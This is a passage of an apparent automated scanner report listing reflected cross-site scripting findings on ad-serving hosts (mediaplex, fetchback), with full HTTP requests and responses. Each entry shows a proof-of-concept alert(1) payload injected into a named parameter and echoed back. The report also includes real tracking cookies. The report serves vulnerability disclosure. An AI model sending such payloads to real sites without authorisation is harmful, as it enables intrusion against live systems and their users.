QGuR-F6FK7jP8kBEFg5tMh28j_QAQA.%2Freferrer%3Dhttp%253A%252F%252Fwww.huffingtonpost.com%2Fclickenc%3Dhttp%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D&mpvc= HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://imp.fetchback.com/serve/fb/imp?tid=59178&type=lead&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA./cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA./referrer=http%253A%252F%252Fwww.huffingtonpost.com/clickenc=http%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=13305:22136/17263:25710/17113:25710/16186:22724/15368:22624/16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:55:14 GMT
Server: Apache
Last-Modified: Thu, 10 Mar 2011 20:32:48 GMT
ETag: "6383eb-daf-49e26bfa43c00"
Accept-Ranges: bytes
Content-Length: 16607
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<BODY LEFTMARGIN="0" TOPMARGIN="0" MARGINWIDTH="0" MARGINHEIGHT="0">
<NOSCRIPT>
<a href="http://altfarm.mediaplex.com/ad/ck/13305-124472-22136-1?mpt=479901741468&mpre=http%3A%2F%2Fclk.fetchb
...[SNIP]...
lick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253De1d3a";alert(1)//d8d00303595\" target=\"_blank\">
...[SNIP]...

4.213. http://img.mediaplex.com/content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html

Issue detail

The value of the mpvc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b65e"><script>alert(1)</script>e6ab3e9e601 was submitted in the mpvc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F13305-124472-22136-1%3Fmpt%3D479901741468%26mpre%3Dhttp%253A%252F%252Fclk.fetchback.com%252Fserve%252Ffb%252Fclick%253Fxrx%253D479901741468%2526crid%253D30829%2526tid%253D59178%2526clicktrack%253Dhttp%253A%252F%252Fib.adnxs.com%252Fclick%252FoQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA.%252Fcnd%253D%2521GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.%252Freferrer%253Dhttp%25253A%25252F%25252Fwww.huffingtonpost.com%252Fclickenc%253Dhttp%25253A%25252F%25252Fbid.openx.net%25252Fclick%25253Fcd%25253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%25253D%252526dst%25253D&mpt=479901741468&mpre=http%3A%2F%2Fclk.fetchback.com%2Fserve%2Ffb%2Fclick%3Fxrx%3D479901741468%26crid%3D30829%26tid%3D59178%26clicktrack%3Dhttp%3A%2F%2Fib.adnxs.com%2Fclick%2FoQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA.%2Fcnd%3D%21GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.%2Freferrer%3Dhttp%253A%252F%252Fwww.huffingtonpost.com%2Fclickenc%3Dhttp%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D&mpvc=4b65e"><script>alert(1)</script>e6ab3e9e601 HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://imp.fetchback.com/serve/fb/imp?tid=59178&type=lead&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA./cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA./referrer=http%253A%252F%252Fwww.huffingtonpost.com/clickenc=http%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=13305:22136/17263:25710/17113:25710/16186:22724/15368:22624/16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:56:29 GMT
Server: Apache
Last-Modified: Thu, 10 Mar 2011 20:32:48 GMT
ETag: "6383eb-daf-49e26bfa43c00"
Accept-Ranges: bytes
Content-Length: 16793
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<BODY LEFTMARGIN="0" TOPMARGIN="0" MARGINWIDTH="0" MARGINHEIGHT="0">
<NOSCRIPT>
<a href="4b65e"><script>alert(1)</script>e6ab3e9e601http://altfarm.mediaplex.com/ad/ck/13305-124472-22136-1?mpt=479901741468&mpre=http%3A%2F%2Fclk.fetchback.com%2Fserve%2Ffb%2Fclick%3Fxrx%3D479901741468%26crid%3D30829%26tid%3D59178%26clicktrack%3Dhttp%3
...[SNIP]...

4.214. http://img.mediaplex.com/content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html

Issue detail

The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 40ddf"%3balert(1)//28b5ce1637c was submitted in the mpvc parameter. This input was echoed as 40ddf";alert(1)//28b5ce1637c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F13305-124472-22136-1%3Fmpt%3D479901741468%26mpre%3Dhttp%253A%252F%252Fclk.fetchback.com%252Fserve%252Ffb%252Fclick%253Fxrx%253D479901741468%2526crid%253D30829%2526tid%253D59178%2526clicktrack%253Dhttp%253A%252F%252Fib.adnxs.com%252Fclick%252FoQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA.%252Fcnd%253D%2521GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.%252Freferrer%253Dhttp%25253A%25252F%25252Fwww.huffingtonpost.com%252Fclickenc%253Dhttp%25253A%25252F%25252Fbid.openx.net%25252Fclick%25253Fcd%25253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%25253D%252526dst%25253D&mpt=479901741468&mpre=http%3A%2F%2Fclk.fetchback.com%2Fserve%2Ffb%2Fclick%3Fxrx%3D479901741468%26crid%3D30829%26tid%3D59178%26clicktrack%3Dhttp%3A%2F%2Fib.adnxs.com%2Fclick%2FoQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA.%2Fcnd%3D%21GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.%2Freferrer%3Dhttp%253A%252F%252Fwww.huffingtonpost.com%2Fclickenc%3Dhttp%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D&mpvc=40ddf"%3balert(1)//28b5ce1637c HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://imp.fetchback.com/serve/fb/imp?tid=59178&type=lead&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA./cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA./referrer=http%253A%252F%252Fwww.huffingtonpost.com/clickenc=http%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=13305:22136/17263:25710/17113:25710/16186:22724/15368:22624/16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:56:31 GMT
Server: Apache
Last-Modified: Thu, 10 Mar 2011 20:32:48 GMT
ETag: "6383eb-daf-49e26bfa43c00"
Accept-Ranges: bytes
Content-Length: 16583
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<BODY LEFTMARGIN="0" TOPMARGIN="0" MARGINWIDTH="0" MARGINHEIGHT="0">
<NOSCRIPT>
<a href="40ddf";alert(1)//28b5ce1637chttp://altfarm.mediaplex.com/ad/ck/13305-124472-22136-1?mpt=479901741468&
...[SNIP]...
<PARAM NAME=\"FlashVars\" VALUE=\"clickTAG=40ddf";alert(1)//28b5ce1637chttp://altfarm.mediaplex.com%2Fad%2Fck%2F13305-124472-22136-1%3Fmpt%3D479901741468%26mpre%3Dhttp%253A%252F%252Fclk.fetchback.com%252Fserve%252Ffb%252Fclick%253Fxrx%253D479901741468%2526crid%253D30829%2
...[SNIP]...

4.215. http://imp.fetchback.com/serve/fb/adtag.js [clicktrack parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://imp.fetchback.com
Path:	/serve/fb/adtag.js

Issue detail

The value of the clicktrack request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a1c52"-alert(1)-"6906ab6ca3 was submitted in the clicktrack parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /serve/fb/adtag.js?tid=59178&type=lead&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA./cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA./referrer=http%253A%252F%252Fwww.huffingtonpost.com/clickenc=http%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253Da1c52"-alert(1)-"6906ab6ca3 HTTP/1.1
Host: imp.fetchback.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAgUCAAIAAAAABiaUgQAAAAA.&pubclick=http://bid.openx.net/click?cd%3DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%3D%26dst%3D&tt_code=huffingtonpost.com&udj=uf%28%27a%27%2C+2248%2C+1305033483%29%3Buf%28%27c%27%2C+61473%2C+1305033483%29%3Buf%28%27r%27%2C+272040%2C+1305033483%29%3Bppv%287166%2C+%27265419216675680020%27%2C+1305033483%2C+1336569483%2C+61473%2C+25661%29%3B&cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.&referrer=http://www.huffingtonpost.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uat=1_1304506950; cmp=1_1304903354_13521:0_11051:0_13981:208292_13479:208292_15758:367625_12704:367625_4895:795810_10164:1160086_10638:1160086_10640:1160086_10641:1160086_1437:1160086_1660:1723682; sit=1_1304903354_3006:489:0_3455:208292:208292_2988:430572:396401_3801:543015:542595_1714:827548:795810_3306:1055174:367625_719:1160913:1160086_2451:1211782:1206682_3236:1369745:1369627_782:1724031:1723682; bpd=1_1304903354_1ZunS:78_1ZCU5:4QUb; apd=1_1304903354_1ZunS:6O; afl=1_1304903354; cre=1_1304957859_29881:55445:1:0_24309:52570:1:2885_24308:52572:1:2887_29805:59534:2:8185_29807:59535:1:8190_29802:59536:1:596888; uid=1_1304957859_1303179323923:6792170478871670; kwd=1_1304957859_12936:262797_11317:1214591_11717:1214591_11718:1214591_11719:1214591; scg=1_1304957859; ppd=1_1304957859

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:54:38 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: uid=1_1305035678_1303179323923:6792170478871670; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:54:38 GMT; Path=/
Cache-Control: max-age=0, no-store, must-revalidate, no-cache
Expires: Tue, 10 May 2011 13:54:38 GMT
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 873

document.write("<"+"iframe src='http://imp.fetchback.com/serve/fb/imp?tid=59178&type=lead&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2z
...[SNIP]...
lick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253Da1c52"-alert(1)-"6906ab6ca3' width='728' height='90' marginheight='0' marginwidth='0' frameborder='0' scrolling='no'"+">
...[SNIP]...

4.216. http://imp.fetchback.com/serve/fb/adtag.js [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://imp.fetchback.com
Path:	/serve/fb/adtag.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d84f3"-alert(1)-"7650a6a33b6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /serve/fb/adtag.js?tid=59178&type=lead&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA./cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA./referrer=http%253A%252F%252Fwww.huffingtonpost.com/clickenc=http%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D&d84f3"-alert(1)-"7650a6a33b6=1 HTTP/1.1
Host: imp.fetchback.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAgUCAAIAAAAABiaUgQAAAAA.&pubclick=http://bid.openx.net/click?cd%3DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%3D%26dst%3D&tt_code=huffingtonpost.com&udj=uf%28%27a%27%2C+2248%2C+1305033483%29%3Buf%28%27c%27%2C+61473%2C+1305033483%29%3Buf%28%27r%27%2C+272040%2C+1305033483%29%3Bppv%287166%2C+%27265419216675680020%27%2C+1305033483%2C+1336569483%2C+61473%2C+25661%29%3B&cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.&referrer=http://www.huffingtonpost.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uat=1_1304506950; cmp=1_1304903354_13521:0_11051:0_13981:208292_13479:208292_15758:367625_12704:367625_4895:795810_10164:1160086_10638:1160086_10640:1160086_10641:1160086_1437:1160086_1660:1723682; sit=1_1304903354_3006:489:0_3455:208292:208292_2988:430572:396401_3801:543015:542595_1714:827548:795810_3306:1055174:367625_719:1160913:1160086_2451:1211782:1206682_3236:1369745:1369627_782:1724031:1723682; bpd=1_1304903354_1ZunS:78_1ZCU5:4QUb; apd=1_1304903354_1ZunS:6O; afl=1_1304903354; cre=1_1304957859_29881:55445:1:0_24309:52570:1:2885_24308:52572:1:2887_29805:59534:2:8185_29807:59535:1:8190_29802:59536:1:596888; uid=1_1304957859_1303179323923:6792170478871670; kwd=1_1304957859_12936:262797_11317:1214591_11717:1214591_11718:1214591_11719:1214591; scg=1_1304957859; ppd=1_1304957859

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:55:15 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: uid=1_1305035715_1303179323923:6792170478871670; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:55:15 GMT; Path=/
Cache-Control: max-age=0, no-store, must-revalidate, no-cache
Expires: Tue, 10 May 2011 13:55:15 GMT
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 877

document.write("<"+"iframe src='http://imp.fetchback.com/serve/fb/imp?tid=59178&type=lead&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2z
...[SNIP]...
ick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D&d84f3"-alert(1)-"7650a6a33b6=1' width='728' height='90' marginheight='0' marginwidth='0' frameborder='0' scrolling='no'"+">
...[SNIP]...

4.217. http://imp.fetchback.com/serve/fb/adtag.js [type parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://imp.fetchback.com
Path:	/serve/fb/adtag.js

Issue detail

The value of the type request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 96529"-alert(1)-"272e77259e6 was submitted in the type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

